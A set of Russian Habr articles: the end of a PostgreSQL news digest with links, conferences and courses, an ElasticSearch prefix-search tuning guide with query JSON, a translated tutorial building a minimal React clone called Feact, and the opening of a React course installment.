Статья в блоге 2ndQuadrant. [Речь идет](https://www.2ndquadrant.com/en/blog/pg12-a-few-special-case-performance-enhancements/) о TOAST, конвертации `float` в `text`, распараллеливании запросов на уровне изоляции SERIALIZABLE.
**Why you need plpgsql\_check**
В своем блоге Павел Штехуле (Pavel Stehule) [рассказывает](http://okbob.blogspot.com/2019/08/why-you-need-plpgsqlcheck-if-you-write.html) о своем расширении [plpgsql\_check](https://github.com/okbob/plpgsql_check), которое умеет анализировать исходный код PL/pgSQL. Павел показывает, как, используя `plpgsql_check_function()`, валидировать SQL-идентификаторы; как его расширение работает профайлером; как оно сообщает о причинах плохой производительности, в том числе советует поменять VOLATILE на IMMUTABLE, когда это возможно. `plpgsql_check` еще и помогает с защитой от SQL-инъекций. А `plpgsql_show_dependency_tb()` разбирается в зависимостях.
**Блокировки в PostgreSQL: 4. Блокировки в памяти**
Егор Рогов (Postgres Professional) [завершил](https://habr.com/ru/company/postgrespro/blog/466199/) серию статей про блокировки. В этой статье есть ссылки на предыдущие статьи этой серии. Другие его серии на Хабре ищите [здесь](https://habr.com/ru/users/erogov/posts/).
**pgBackRest to Backup PostgreSQL**
В блоге Cybertec по шагам [расписано](https://www.cybertec-postgresql.com/en/pgbackrest-to-backup-postgresql/), как установить, сконфигурировать, настроить серверы PostgreSQL, чтобы запустить бэкап под управлением pgBackRest. В том числе дифференциальный бэкап.
**OLTP workload performance improvement in Greenplum 6**
На сайте Greenplum [выложили графики](https://greenplum.org/oltp-workload-performance-improvement-in-greenplum-6/?fbclid=IwAR0Jq9XrIf8mQNGInGAUsQsHKhEB4oRWU9GvMeSyHcMB2jnbdkyzHzK6WfA) производительности на OLTP версии 6 на фоне версии 5. Разница впечатляет. Революционные изменения связывают с переходом на ядро 9.4(!), что помогло оптимизировать блокировки;
* появилось глобальное обнаружение дедлоков для поддержки параллельных UPDATE/DELETE;
* оптимизированы глобальные транзакции, удалось избежать блокировок в read-only-сценариях, благодаря чему сократилось время начала и окончания транзакции.
Есть и абзац о будущих планах.
**Compute day working hours in PL/pgsql**
[Заметка](https://fluca1978.github.io/2019/08/30/postgresql_working_hours.html) Луки Феррари (Luca Ferrari), пропагандиста open source и человеческого существа (так он представляет сам себя в блоге), предлагает его вариант задачки, ставшей своеобразным конкурсом [в рассылке](https://www.postgresql.org/message-id/20190827222741.GB19306%40panix.com) `pgresql-general`. Там предлагалось посчитать рабочие часы, используя PL/pgsql. Решение Луки не самое короткое, но настраиваемое.
**Managing High Availability in PostgreSQL – Part III: Patroni**
Мадан Кумар (Madan Kumar) из ScaleGrid [разбирает плюсы/минусы](https://scalegrid.io/blog/managing-high-availability-in-postgresql-part-3/) и тестирует Patroni, делает выводы по HA. А до этого, в ч.I и ч.II [разбирал Corosync/Pacemaker](https://scalegrid.io/blog/managing-high-availability-in-postgresql-part-1/) и [repmgr](https://scalegrid.io/blog/managing-high-availability-in-postgresql-part-2/). Он в том числе ухитряется загнать Patroni в состояние `split brain` (оставаясь в целом сторонником этих кластеров).
**Time series данные в реляционной СУБД.
Расширения TimescaleDB и PipelineDB для PostgreSQL**
Олег Бунин [предлагает](https://habr.com/ru/company/oleg-bunin/blog/464303/?fbclid=IwAR2naQY--aEKEbC-nPGIjtjNNAWq6Cpv7gHsw5QVudvX4CUJBd5vpk_MobU) послушать доклад руководителя отдела разработки в «Первой Мониторинговой Компании» Ивана Муратова о том, как получить полноценную темпоральную БД, установив в Postgres два этих расширения. Доклад с уклоном в обработку данных и аналитику `time series` в экосистеме PG, без сторонних решений.
**Cloud Vendor Deep-Dive: PostgreSQL on Google Cloud Platform (GCP)**
В блоге Severalnines Вьёрель Табара (Viorel Tabara) [рассказывает](https://severalnines.com/database-blog/cloud-vendor-deep-dive-postgresql-google-cloud-platform-gcp) об этом облачном Postgres, довольно своеобразном. Из серверных языков есть PL/pgSQL, но есть и гугловский интерфейс — Cloud SQL, который рекомендуется использовать при написании приложений. Некоторые возможности отключены из-за соображений безопасности: superuser недоступен, некоторые параметры нельзя менять. Некоторые расширения Postgres поддерживаются, некоторые — нет. О совместимости с классическим Postgres есть отдельная главка. Также рассказывается о построении HA-кластеров, о репликации и бэкапе, о многом другом.
**Setting up PostgreSQL 12 Beta 3 for Testing in Amazon RDS**
Джигнеш Шах (Jignesh Shah), которого многие запомнили по конференции PGConf.Russia 2019, [рассказывает](http://jkshah.blogspot.com/2019/08/setting-up-postgresql-12-beta-3-for.html), как подготовить PostgreSQL 12 к работе в облаках RDS.
**Advanced SQL — window frames**
Большая [статья](https://mjk.space/advances-sql-window-frames/) Михаля Конарски (Michał Konarski) из Стокгольма. Он пишет про оконные функции, останавливаясь на особенностях режимов ROWS, GROUPS и RANGE.
**Using “Row Level Security” to make large companies more secure**
Ханс-Юрген Шёниг (Hans-Jürgen Schönig) в блоге Cybertec [разбирает](https://www.cybertec-postgresql.com/en/using-row-level-security-to-make-large-companies-more-secure/) RLS на примерах из жизни.
**Comparing Distributed SQL Performance – Yugabyte DB vs. Amazon Aurora PostgreSQL vs. CockroachDB**
Производительность этих трех баз [сравнивают](https://blog.yugabyte.com/comparing-distributed-sql-performance-yugabyte-db-vs-amazon-aurora-postgresql-vs-cockroachdb/) люди заинтересованные: представители проекта Yougabyte – базы, «построенной под впечатлением Google Spanner» и совместимой (с исключениями) с Postgres. Но данные интересные.
**Time series данные в реляционной СУБД. Расширения TimescaleDB и PipelineDB для PostgreSQL**
Иван Маратов в колонке Олега Бунина на хабре советует забыть об InfluxDB и обо всех темпоральных БД, если есть PostgreSQL с расширениями TimescaleDB и PipelineDB. Речь в основном об аналитике прямо в экосистеме PostgreSQL.
**New version of PostgreSQL Anonymizer and more...**
Это не формальная сводка багов и фич, а развернутая статья о том, зачем нужен анонимайзер Postgres и на что он способен. [Проект](https://gitlab.com/dalibo/postgresql_anonymizer), затеянный год назад Дамьеном Клошаром (Damien Clochard), взяла под крыло Dalibo. Дамьен [рассказывает](https://blog.taadeem.net///english/2019/09/23/new_version_of_PostgreSQL_Anonymizer_and_more), например, как и при помощи чего в новой версии делать анонимный дамп; как надевать на данные маску, на которую разные роли реагируют по-разному, и еще много интересных вещей.
### Конференции
**PGConf.Asia на Бали**
Эта уже вторая «пляжная» конференциия в этом сезоне (первая — на Ибице), прошла 8-9 сентября. [Предыдущие PGConf.Asia](https://www.pgconf.asia/EN/) проходили в Токио. Нынешнюю открывал заместитель губернатора Бали, его сменил министр связи и информации Индонезии.
Из России прилетел зам. ген. дира Postgres Professional Иван Панченко и рассказал о том, какие проблемы решают разработчики Postgres в наши дни, когда конкурировать приходится уже на рынке индустриальных СУБД. Программу можно изучить на этой [странице](https://2019.pgconf.asia/#program). Деловая часть пляжной конференции была вполне насыщенной: многие из релизов, представленных выше, были обнародованы именно на этой конференции.
**PostgresConf South Africa 2019**
8-9-го октября эта конференция [пройдет](https://postgresconf.org/conferences/SouthAfrica2019) в Йоханнесбурге. В [программе](https://postgresconf.org/conferences/SouthAfrica2019/schedule/events) есть хорошо нам знакомые докладчики (Ханс-Юрген Шёниг, например), но много и новых имен.
**PostgreSQL Conference Europe 2019**
Конференция, на которой выступит немало докладчиков живущих в России, или родом из России, [пройдет](https://2019.pgconf.eu/) 15-18 октября в Милане. В программе двое из Data Egret, двое из Zalando, по одному из credativ и JetBrains и аж четверо из Postgres Professional.
**pgDay Santiago 2019**
Эта [конференция](https://www.pgday.cl/2019/), организована чилийской юзергруппой PostgreSQL. Она пройдет 29 октября. Спонсоры 2ndQuadrant и Vigigo.
**PGConf.Сибирь 2019**
11-12 ноября в Красноярске [состоится](https://pgconf.ru/201911) третья региональная конференция PGConf.Сибирь 2019. Участие **бесплатное**, но нужна [регистрация](https://pgconf.ru/login?go=/user/201911) на сайте. Заявки на доклады [принимаются](https://pgconf.ru/login?go=/user/201911/presentations) до 10 октября.
**2Q PGConf 2019**
Эта конференция [пройдет](https://www.2qpgconf.com/) 4-5-го декабря в Чикаго.
**PgConf.Russia 2020**
Как и в прошлом году, на Экономфаке МГУ в Москве [состоится](https://pgconf.ru/2020) PgConf.Russia 2020 (3-5 февраля). [Регистрация](https://pgconf.ru/login?go=/user/2020) открыта. Сейчас программа еще формируется, а заявки на доклады [принимаются](https://pgconf.ru/login?go=/user/2020/presentations) до 10 декабря.
**PGConf India 2020**
[Пройдет](http://pgconf.in/) 26-28 февраля в Бангалоре.
**Nordic PGDay 2020**
Нордический PGDay состоится в Хельсинки 24-го марта. Заявки можно [присылать](https://2020.nordicpgday.org/cfp/) до последних дней сего года.
**pgDay Paris 2020**
В конце марта, 26-го в Париже, [состоится](http://2020.pgday.paris/) еще одна конференция – День Постгреса.
### Образование
Сертификация Postgres, запущенная в мае этого года, набирает обороты. Теперь можно получить сертификат «**Администратор PostgreSQL 10. Эксперт**», но для этого нужно уже иметь сертификат «Администратор PostgreSQL. Профессионал» и сдать три теста – DBA2-10 (настройка и мониторинг PostgreSQL), DBA3-10 (резервное копирование и репликация PostgreSQL) и QPT-10 (оптимизация запросов). [Подробности](https://postgrespro.ru/education/cert) можно прочитать на сайте компании Postgres Professional.
Подготовиться помогут курсы. Сейчас [выложены](https://postgrespro.ru/education/courses) и общедоступны все видеоуроки по курсам
* [DBA1](https://postgrespro.ru/education/courses/DBA1). Администрирование PostgreSQL. Базовый курс;
* [DBA2](https://postgrespro.ru/education/courses/DBA2). Администрирование PostgreSQL. Настройка и мониторинг;
* [DBA3](https://postgrespro.ru/education/courses/DBA3). Администрирование PostgreSQL. Резервное копирование и репликация;
* [DEV1](https://postgrespro.ru/education/courses/DEV1). Разработка серверной части приложений PostgreSQL. Базовый курс.
Курс по оптимизации — PostgreSQL 10. Оптимизация запросов — доступен в виде слайдов, демо и ответов на вопросы.
Также стали полностью доступны все видео курсов "[**Основы технологий баз данных**](https://postgrespro.ru/education/university/dbtech)" Бориса Асеновича Новикова, доктора физико-математических наук, профессор департамента информатики Высшей школы экономики в Санкт Петербурге.
### Книги
**The Art of PostgreSQL**
Вышло 2-е издание книги **Mastering PostgreSQL in Application** Димитри Фонтейна. Теперь [книга](https://theartofpostgresql.com/) называется **The Art of PostgreSQL**. В новом издании новая глава целиком посвящена PostgreSQL-расширениям. Написана эта глава автором команды CREATE EXTENSION.
---
*Подписывайтесь на канал [postgresso](https://t.me/postgresso)!*
*Идеи и пожелания присылайте на почту: news\_channel@postgrespro.ru*
Предыдущие выпуски: [#16](https://habr.com/ru/company/postgrespro/blog/456790/), [#15](https://habr.com/ru/company/postgrespro/blog/445544/), [#14](https://habr.com/ru/company/postgrespro/blog/436352/), [#13](https://habr.com/ru/company/postgrespro/blog/434760/), [#12](https://habr.com/company/postgrespro/blog/428275/), [#11 (спец)](https://habr.com/company/postgrespro/blog/426745/), [#10](https://habr.com/topic/edit/422527/), [#9](https://habr.com/company/postgrespro/blog/420283/), [#8](https://habr.com/company/postgrespro/blog/415675/), [#7](https://habr.com/company/postgrespro/blog/413419/), [#6](https://habr.com/company/postgrespro/blog/358560/), [#5](https://habr.com/company/postgrespro/blog/353736/), [#4](https://habrahabr.ru/company/postgrespro/blog/351650/), [#3](https://habrahabr.ru/company/postgrespro/blog/349100/), [#2](https://habrahabr.ru/company/postgrespro/blog/347858/), [#1](https://habrahabr.ru/company/postgrespro/blog/345652/) | https://habr.com/ru/post/466065/ | null | ru | null |
# Как это сделано: префиксный поиск
Мы живем во времена, когда кажется, что все просто и все есть. Нужно сделать масштабируемый проект — используем MongoDB, нужна очередь — вот RabbitMQ, нужно поднять функционал поиска — раз плюнуть: ставим Sphinx, Solr, ElasticSearch (нужное подчеркнуть).
Но здесь лишь доля правды: — при определенном везении можно поставить нужный сервер и все зашевелится. Загвоздка с поиском состоит в том, что пользователи уже порядком привыкли к высокой планке, которую задают «большие ребята», а тот поиск, что поднимется у вас «из коробки», будет явно недотягивать. И если очередь или базу данных вы можете добить железом прежде, чем будете оптимизировать, то поиск железом не добьешь.
Существую толстые книжки про настройки полнотекстового поиска, однако их мало кто читает. Сегодня я хотел бы на пальцах поговорить о том, что нужно учесть, когда вы делаете префиксный поиск с выводом результатов по мере набора слова или фразы.
Мы посмотрим, как с помощью нашего проекта [http://indexisto.com](http://indexisto.com/) сделан поиск на сайте [http://maximonline.ru](http://maximonline.ru/) и сравним его с тем, что есть на других сайтах.
Для начала несколько примеров. Возьмем запрос **«Битва за Лос Анджелес»** и представим, что его напишут неправильно **«Лос Анжелес биттва»**. Как видно, пользователь не знает точно, как пишется имя города, и забыл, как звучит название фильма, а также у него дрогнула рука в конце на слове «битва».
Выберем достойные проекты рунета, в которых есть префиксный поиск, и попробуем поискать там наш запрос:
| Проект | Правильный запрос | Неправильный запрос |
| --- | --- | --- |
| afisha.ru |
*все ОК* |
*Не найдено* |
| ivi.ru |
*все ОК* |
*Не найдено* |
| vk.com |
*все ОК* |
*Не найдено* |
| maximonline.ru |
*все ОК* |
*все ОК* |
Как видно из нашего небольшого исследования, ситуация далека от идеальной. Вот типичные проблемы
* Не работает перестановка слов
* Наблюдаются «скачки». То есть по мере набора искомый фильм то появляется в результатах, то пропадает.
* Отсутствие нечеткого поиска
* Не у всех есть морфология
#### Поехали настраивать
В статье речь будет идти о сервере ElasticSearch, однако эти же подходы можно использовать и при настройке SOLR, так как в итоге все высокоуровневые запросы все равно мапятся на запросы более низкоруровневой библиотеки поиска Lucene. Также не принципиально, делаете ли вы префиксный поиск с помощью [ngram токенизаторов](http://en.wikipedia.org/wiki/N-gram) или с помощью префиксных запросов (довольно тяжеловесных, так как они мапятся на fuzzy-запросы).
#### Индексация
При индексации текст проходит через токенизатор и ряд фильтров (морфология, синонимы...). Оригинальное слово в итоге может быть заменено, приведено к нормальной форме или вообще выкинуто. Через какие бы фильтры вы ни прогоняли ваши токены, сохраняйте оригинальное слово в той же позиции, что и измененное/замененное. Что может случиться, если не сохранить оригинальное слово, показанно на картинке:
Как видите, фильтр морфологии меняет слово (приводит к нормальной форме). В обычном поиске это работает хорошо, так как слово из запроса, который ввел пользователь, тоже будет приведено к нормальной форме. Но что делать, пока пользователь ввел только половину слова (префиксный поиск)? Сохраняем оригинальный токен в индексе!
У нас, кстати, возникли проблемы в стандартных плагинах Lucene, и мы сделали свои, которые лучше работают с позициями токенов в документе и сохранением оригинального слова. О том, какие проблемы вас могут поджидать, можно почитать, например, здесь: [Lucene's TokenStreams are actually graphs!](http://blog.mikemccandless.com/2012/04/lucenes-tokenstreams-are-actually.html)
#### Анализаторы запроса
Не используйте анализаторы, которые могут вам «подчистить» запрос, например, фильтр стоп-слов, который удаляет междометия и частицы. Вот пример:
Как видите, «а» это стоп-слово, и анализатор запроса ее удалил. На практике это означает, что будет «скачок», то есть человек набрал «Хаунита А» и видит документ по запросу Хуанита (без А). Если у нас много Хуанит в выдаче, то нет никакой гарантии, что нужная нам будет сверху.
Для того, чтобы это побороть, убираем фильтр стоп-слов из запроса:
#### Запрос
Не пытайтесь сделать все сразу одним путанным гигантским запросом. Разбейте задачу на подзадачи. Существуют булевы и dismax-запросы, которые помогут вам склеить результаты работы нескольких мелких запросов в один. Используйте boost в небольших запросах, чтобы, к примеру, увеличить вес точного совпадения в title страницы по сравнению с совпадением в body страницы. Примерно вот так:
```
{
"query":{
"bool" : {
"should" : [
{
"custom_boost_factor": {
"query":{
"match":{
....
}
},
"boost_factor": 100
}
},
{
"custom_boost_factor": {
"query":{
"match":{
....
}
}
},
"boost_factor": 10
}
},
.....
]
}
}
}
```
#### Точное совпадение фразы в заголовке статьи
Итак, наш поисковый запрос состоит из кучки маленьких запросов с разными boost-факторами. Boost-фактор — это множитель релевантности, который применяется, когда базовая текстовая релевантность уже посчитана.
Сначала у нас идет поиск на точное совпадение фразы в заголовке статьи (или title страницы). Точное совпадение означает, что мы не используем префикс. Например, запрос **«КАК»** выведет первыми статьи *«**Как** правильно…»*, а не статью *«Выращиваем **как**тус»*. Документы, найденные по такому запросу, получают буст, к примеру, 10000.
#### Префиксное совпадение фразы в заголовке статьи
Далее идет запрос на префиксное совпадние фарзы. Точные совпадения слова «КАК» нам уже нашел первый запрос, теперь время поискать *«**как**тусы»*. Эти документы будут идти ниже точных совпадений за счет меньшего буста.
Мы также здесь используем параметр slop, который говорит, что слова в фразе могут отстоять друг от друга на несколько позиций вперед или назад. Многие забывают про этот параметр, а по умолчанию префиксный поиск ищет только вперед.
Вот какая выдача получается на текущий момент:
Первыми идут точные совпадения, вторыми — префиксные.
#### Совпадения в теле статьи — полное и префиксное
Совпадения в заголовке мы нашли и сделали им приличный буст. Время перейти к самому телу статьи. В первую очередь мы опять ищем точное совпадение, и с меньшим boost-фактором префиксные совпадения.
Таким образом, совпадения в заголовке будут первыми в выдаче, а совпадения в теле статьи — ниже. Встает вопрос: не отдать ли подобную сортировку на откуп текстовой релевантности? Ведь стандартные алгоритмы учитывают длину текста, в котором найдено совпадение: чем короче текст, тем выше релевантность. Однако практика показала, что при префиксном поиске в теле статьи будет очень много совпадений. Представьте, вы набрали 1-2 буквы, а в теле статьи будет уже 200-300 совпадений, и, несмотря на длину текста, они перебьют релевантность совпадений в заголовке.
#### Нечеткие совпадения в заголовке или теле статьи
Последним (за счет буста) идет нечеткий поиск. Нечеткий поиск прощает некоторые опечатки в поисковом запросе, введенном пользователем. Внутри запроса используется [Levenshtein distance](http://en.wikipedia.org/wiki/Levenshtein_distance). Нечеткий запрос имеет несколько настроек, которые выступают в качестве параметров к алгоритму, а также есть возможность указать минимальное необходимое совпадение префикса.
```
"custom_boost_factor": {
"query":{
"multi_match":{
"query":"${q}",
"fuzziness":0.005,
"prefix_length" : 2,
"operator":"and",
"max_expansions":999,
"fields":[
"article_name",
"article_body"
]
}
},
"boost_factor": 1
}
}
```
Совпадения, найденные нечетким поиском, идут в самом низу за счет минимального boost-фактора.
#### Что в итоге
На картинке видно, как выстроились наши результаты в зависимости от совпадений:
* в заголовке точные
* в заголовке по префиксу
* в теле статьи точные
* в теле статьи по префиксу
* в заголовке и теле статьи нечеткие (с опечатками)
#### Бонус-трек для тех, кто осилил статью
Мы собираем всю статистику поисковых запросов, клики по результатам выдачи, поиски без переходов, поиски с пустым результатом.
Интересно, что на [maximonline.ru](http://www.maximonline.ru/) поиск довольно востребованный функционал, а 90% поисковых запросов это имена девушек. Здесь можно получить очень интересные данные :)
Итак, самые искомые читателями Maxim девушки в обратном порядке! Данные за ноябрь 2013.
5. Анна Семенович (телеведущая)
4. Вера Брежнева (певица)
3. Анна Хилькевич (актриса)
2. Мария Горбань (актриса)
1. Екатерина Волкова (актриса)
 | https://habr.com/ru/post/204654/ | null | ru | null |
# Под капотом у React. Пишем свою реализацию с нуля
В этом цикле статей мы создадим свою реализацию React с нуля. По окончании у вас будет понимание, как работает React, какие методы жизненного цикла компонента он вызывает и для чего. Статья рассчитана на тех, кто уже использовал React и хочет узнать о его устройстве, или на очень любопытных.
Данная статья является переводом [React Internals, Part One: basic rendering](https://www.mattgreer.org/articles/react-internals-part-one-basic-rendering/)
На самом деле это первая статья из пяти
---------------------------------------
1. Основы рендеринга < — мы здесь
2. ComponentWillMount и componentDidMount
3. Обновление
4. setState
5. Транзакции
> Материал создавался, когда актуальным был React 15.3, в частности использование ReactDOM и stack reconciler. React 16 и выше имеет некоторые изменения. Тем не менее, этот материал остаётся актуальным, так как он даёт общее представление о том, что происходит «под капотом».
>
>
Часть 1. Основы рендеринга
--------------------------
### Элементы и компоненты
В React есть три типа сущностей: нативный DOM элемент, виртуальный React элемент и компонент.
#### Нативные DOM элементы
Это и есть DOM элементы, которые браузер использует для создания веб-страницы, например, div, span, h1. React создаёт их, вызывая document.createElement(), и взаимодействует со страницей, используя методы браузерного DOM API, такие как element.insertBefore(), element.nodeValue и другие.
#### Виртуальный React элемент
Виртуальный React элемент (часто называется просто «элемент») — это javascript объект, который содержит нужные свойства для того, чтобы создать или обновить нативный DOM элемент или дерево таких элементов. На основе виртуального React элемента создаются нативные DOM элементы, такие как div, span, h1 и другие. Можно сказать, что виртуальный React элемент является экземпляром пользовательского составного компонента (user defined composite component), подробнее об этом ниже.
#### Компонент
Компонент — достаточно общий термин в React. Компонентами являются сущности, с которыми React делает различные манипуляции. Разные компоненты служат разным целям. Например, ReactDomComponent из библиотеки ReactDom отвечает за связывание между React элементами и соответствующим им нативным DOM элементам.
#### Пользовательские составные компоненты
Скорее всего вы уже сталкивались с этим видом компонентов. Когда вы вызываете React.createClass() или используетe ES6 классы через extend React.Component, вы создаёте пользовательский составной компонент. Такой компонент имеет методы жизненного цикла (lifecycle methods), такие как componentWillMount, shouldComponentUpdate и другие. Мы можем переопределять их, чтобы добавлять какую-то логику. Кроме того, создаются и другие методы, такие как mountComponent, receiveComponent. Эти методы используются только самим React для его внутренних целей, мы с ними никак не взаимодействуем.
**ZanudaMode=on**На самом деле созданные пользователем компоненты изначально не полноценны. React оборачивает их в ReactCompositeComponentWrapper, который добавляет нашим компонентам все методы жизненного цикла, после чего React может ими управлять (вставлять, обновлять и др.).
### React декларативный
Когда дело доходит до пользовательских компонентов, наша задача определить классы этих компонентов, но мы не создаём экземпляры этих классов. Их создаёт React, когда нужно.
Так же мы не создаём элементы явно, используя императивный стиль, вместо этого мы пишем в декларативном стиле, используя JSX:
```
class MyComponent extends React.Component {
render() {
return hello;
}
}
```
Этот код с JSX разметкой траслируется компилятором в следующий:
```
class MyComponent extends React.Component {
render() {
return React.createElement('div', null, 'hello');
}
}
```
То есть по сути превращается в императивную конструкцию создания элемента через явный вызов React.createElement(). Но эта конструкция находится внутри метода render(), который мы явно не вызываем, React сам вызовет этот метод, когда будет нужно. Поэтому воспринимать React стоит именно как декларативный: мы описываем, что хотим получить, а React определяет, как это сделать.
### Напишем свой маленький React
Получив необходимый технический базис, начнем создавать собственную имплементацию React. Это будет очень упрощенная версия, назовем её Feact.
Предположим, мы хотим создать простое Feact приложение, код которого выглядел бы так:
```
Feact.render(hello world
===========
, document.getElementById('root'));
```
Для начала сделаем отступление о JSX. Это именно «отступление», потому что парсинг JSX — это отдельная большая тема, которую мы опустим в рамках нашей имплементации Feact. Если бы мы имели дело с обработанным JSX, мы бы увидели следующий код:
```
Feact.render(
Feact.createElement('h1', null, 'hello world'),
document.getElementById('root')
);
```
То есть мы используем Feact.createElement вместо JSX. Вот и реализуем этот метод:
```
const Feact = {
createElement(type, props, children) {
const element = {
type,
props: props || {}
};
if (children) {
element.props.children = children;
}
return element;
}
};
```
Возвращаемый элемент — это простой объект, представляющий то, что мы хотим отрендерить.
### Что делает Feact.render()?
Вызывая Feact.render(), мы передаём два параметра: что мы хотим отрендерить и где. Это начальная точка любого React приложения. Напишем реализацию метода render() для Feact:
```
const Feact = {
createElement() { /* без изменений */ },
render(element, container) {
const componentInstance = new FeactDOMComponent(element);
return componentInstance.mountComponent(container);
}
};
```
По завершению работы render() мы получаем готовую веб-страницу. Созданием DOM элементов занимается FeactDOMComponent. Напишем его реализацию:
```
class FeactDOMComponent {
constructor(element) {
this._currentElement = element;
}
mountComponent(container) {
const domElement =
document.createElement(this._currentElement.type);
const text = this._currentElement.props.children;
const textNode = document.createTextNode(text);
domElement.appendChild(textNode);
container.appendChild(domElement);
this._hostNode = domElement;
return domElement;
}
}
```
Метод mountComponent создаёт DOM элемент и сохраняет его в this.\_hostNode. Мы не будем это использовать сейчас, но это вернёмся к этому в следующих частях.
Текущую версию приложения можно посмотреть в [fiddle](https://jsfiddle.net/city41/ohmzvb4o/9).
Буквально 40 строк кода хватило, чтобы сделать примитивнейшую реализацию React. Созданный нами Feact вряд ли завоюет мир, но он неплохо отражает суть происходящего под капотом у React.
### Добавление пользовательских компонентов
Наш Feact должен иметь возможность рендерить не только имеющиеся в HTML элементы (div, span и пр.), но и пользовательские компоненты (user defined composite component):
> Описанный ранее метод Feact.createElement() на текущий момент нас устраивает, потому я не буду повторять его в листинге кода
>
>
```
const Feact = {
createClass(spec) {
function Constructor(props) {
this.props = props;
}
Constructor.prototype.render = spec.render;
return Constructor;
},
render(element, container) {
// текущая реализация метода не может
// обрабатывать пользовательские компоненты,
// перепишем её позже
}
};
const MyTitle = Feact.createClass({
render() {
return Feact.createElement('h1', null, this.props.message);
}
};
Feact.render({
Feact.createElement(MyTitle, { message: 'hey there Feact' }),
document.getElementById('root')
);
```
Напомню, если бы JSX был доступен, вызов метода render() выглядел бы таким образом:
```
Feact.render(
,
document.getElementById('root')
);
```
Мы передали класс пользовательского компонента в createElement. Виртуальный React элемент может представлять или обычный DOM элемент, или пользовательский компонент. Будем их различать следующим образом: если передаём строковый тип, то это DOM элемент; если функция, то этот элемент представляет пользовательский компонент.
### Улучшение Feact.render()
Если вы внимательно посмотрите на код на текущий момент, то вы увидите, что Feact.render() не может обрабатывать пользовательские компоненты. Исправим это:
```
Feact = {
render(element, container) {
const componentInstance =
new FeactCompositeComponentWrapper(element);
return componentInstance.mountComponent(container);
}
}
class FeactCompositeComponentWrapper {
constructor(element) {
this._currentElement = element;
}
mountComponent(container) {
const Component = this._currentElement.type;
const componentInstance = new Component(this._currentElement.props);
const element = componentInstance.render();
const domComponentInstance = new FeactDOMComponent(element);
return domComponentInstance.mountComponent(container);
}
}
```
Мы создали обертку для передаваемого элемента. Внутри обёртки мы создаём экземпляр класса пользовательского компонента и вызываем его метод componentInstance.render(). Результат этого метода можно передать в FeactDOMComponent, где будут созданы соответствующие DOM элементы.
Теперь мы можем создавать и рендерить пользовательские компоненты. Feact будет создавать DOM узлы на основании пользовательских компонентов, и менять их в зависимости от свойств (props) наших пользовательских компонентов. Это значительное улучшение нашего Feact.
> Обратите внимание, что FeactCompositeComponentWrapper напрямую создаёт FeactDOMComponent. Такая тесная связь — это плохо. Мы исправим это позже. Если бы в React существовала такая же тесная связь, то можно было бы создавать только web-приложения. Добавление дополнительного слоя ReactCompositeComponentWrapper позволяет разделить логику React по управлению виртуальными элементами и итоговое отображение нативных элементов, что позволяет использовать React не только при создании web-приложений, но и, например, React Native для мобильных.
>
>
### Улучшение пользовательских компонентов
Созданные пользовательские компоненты могут возвращать только нативные DOM элементы, если попробовать возвратить другие пользовательские компоненты, мы получим ошибку. Исправим этот недостаток. Представим, что мы бы хотели выполнить следующий код без ошибок:
```
const MyMessage = Feact.createClass({
render() {
if (this.props.asTitle) {
return Feact.createElement(MyTitle, {
message: this.props.message
});
} else {
return Feact.createElement('p', null, this.props.message);
}
}
}
```
Метод render() пользовательского компонента может вернуть или нативный DOM элемент, или другой пользовательский компонент. Если свойство asTitle истинно, то FeactCompositeComponentWrapper вернет пользовательский компонент для FeactDOMComponent, где произойдёт ошибка. Исправим FeactCompositeComponentWrapper:
```
class FeactCompositeComponentWrapper {
constructor(element) {
this._currentElement = element;
}
mountComponent(container) {
const Component = this._currentElement.type;
const componentInstance =
new Component(this._currentElement.props);
let element = componentInstance.render();
while (typeof element.type === 'function') {
element = (new element.type(element.props)).render();
}
const domComponentInstance = new FeactDOMComponent(element);
domComponentInstance.mountComponent(container);
}
}
```
По правде говоря, мы сейчас сделали костыль, чтобы удовлетворить текущие нужды. Вызов метода render будет возвращать дочерние компоненты до тех пор, не вернет нативный DOM элемент. Это плохо, потому что такие дочерние компоненты не будут принимать участия в жизненном цикле. Например, в таком случае мы не сможем реализовать вызов componentWillMount. Мы исправим это позже.
### И снова исправляем Feact.render()
Первая версия Feact.render() могла обрабатывать только нативные DOM элементы. Сейчас корректно обрабатываются только пользовательские компоненты без поддержки нативных. Нужно же обрабатывать оба случая. Можно написать фабрику, которая будет создавать компонент в зависимости от типа переданного элемента, но в React выбрали другой способ: просто обернуть любой входящий компонент в другой компонент:
```
const TopLevelWrapper = function(props) {
this.props = props;
};
TopLevelWrapper.prototype.render = function() {
return this.props;
};
const Feact = {
render(element, container) {
const wrapperElement =
this.createElement(TopLevelWrapper, element);
const componentInstance =
new FeactCompositeComponentWrapper(wrapperElement);
// без изменений
}
};
```
TopLevelWrapper это по сути пользовательский компонент. Он так же может быть определен через вызов Feact.createClass(). Его метод render просто возвращает переданный в него элемент. Теперь каждый элемент оборачивается TopLevelWrapper, и FeactCompositeComponentWrapper будет всегда получать на вход пользовательский компонент.
### Заключение первой части
Мы реализовали Feact, который может рендерить компоненты. Созданный код показывает базовые концепции рендеринга. Настоящий рендеринг в React гораздо сложнее, и он охватывает события, фокус, скролл окна, производительность и т.д.
Итоговый [jsfiddle](https://jsfiddle.net/city41/7x2zgevj/17) первой части. | https://habr.com/ru/post/458916/ | null | ru | null |
# Учебный курс по React, часть 17: пятый этап работы над TODO-приложением, модификация состояния компонентов
В сегодняшней части перевода курса по React мы предлагаем вам выполнить очередное практическое задание и представляем вашему вниманию рассказ о том, как модифицировать состояние компонентов React.
[](https://habr.com/ru/company/ruvds/blog/439984/)
→ [Часть 1: обзор курса, причины популярности React, ReactDOM и JSX](https://habr.com/post/432636/)
→ [Часть 2: функциональные компоненты](https://habr.com/post/433400/)
→ [Часть 3: файлы компонентов, структура проектов](https://habr.com/post/433404/)
→ [Часть 4: родительские и дочерние компоненты](https://habr.com/company/ruvds/blog/434118/)
→ [Часть 5: начало работы над TODO-приложением, основы стилизации](https://habr.com/company/ruvds/blog/434120/)
→ [Часть 6: о некоторых особенностях курса, JSX и JavaScript](https://habr.com/company/ruvds/blog/435466/)
→ [Часть 7: встроенные стили](https://habr.com/company/ruvds/blog/435468/)
→ [Часть 8: продолжение работы над TODO-приложением, знакомство со свойствами компонентов](https://habr.com/company/ruvds/blog/435470/)
→ [Часть 9: свойства компонентов](https://habr.com/company/ruvds/blog/436032/)
→ [Часть 10: практикум по работе со свойствами компонентов и стилизации](https://habr.com/company/ruvds/blog/436890/)
→ [Часть 11: динамическое формирование разметки и метод массивов map](https://habr.com/company/ruvds/blog/436892/)
